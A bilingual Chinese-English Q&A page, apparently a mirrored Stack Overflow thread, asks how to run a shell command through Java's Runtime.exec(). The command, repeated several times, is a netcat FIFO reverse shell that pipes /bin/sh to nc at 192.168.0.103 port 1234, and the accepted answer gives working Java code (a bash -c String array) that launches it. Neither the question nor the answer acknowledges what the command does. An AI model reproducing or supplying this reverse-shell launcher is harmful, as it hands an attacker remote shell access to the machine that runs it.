java Runtime.getRuntime().exec()无法运行命令 [英] java Runtime.getRuntime().exec() unable to run commands
问题描述
我需要从Runtime.getRuntime().exec()内部运行以下命令:
I need to run the following command from inside the Runtime.getRuntime().exec():
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
我应该以哪种格式将其传递给正在运行的具有以下内容的java程序:
In what format should I pass it to my running java program that has the line :
Process localProcess = Runtime.getRuntime().exec(myStr);
其中myStr是我要执行的上方的整个命令?
where myStr is the entire command above that I want to execute ?
我已经尝试过的东西:
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
给我错误:
无法运行程序"["/bin/bash,"-c,"/usr/bin/mkfifo:错误= 2,没有这样的文件或目录
Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
如果我只是简单地从终端运行命令:
If I simply run the command from my terminal as :
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
它运行得像灵符,但不是通过runtime.exec().
It runs like a charm, but not through the runtime.exec().
推荐答案
尝试使用 ProcessBuilder
代替 Runtime
.
尝试一下:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd
是保存您的shell命令的变量.
cmd
is the variable which holds your shell command.
更新:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
这篇关于java Runtime.getRuntime().exec()无法运行命令的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!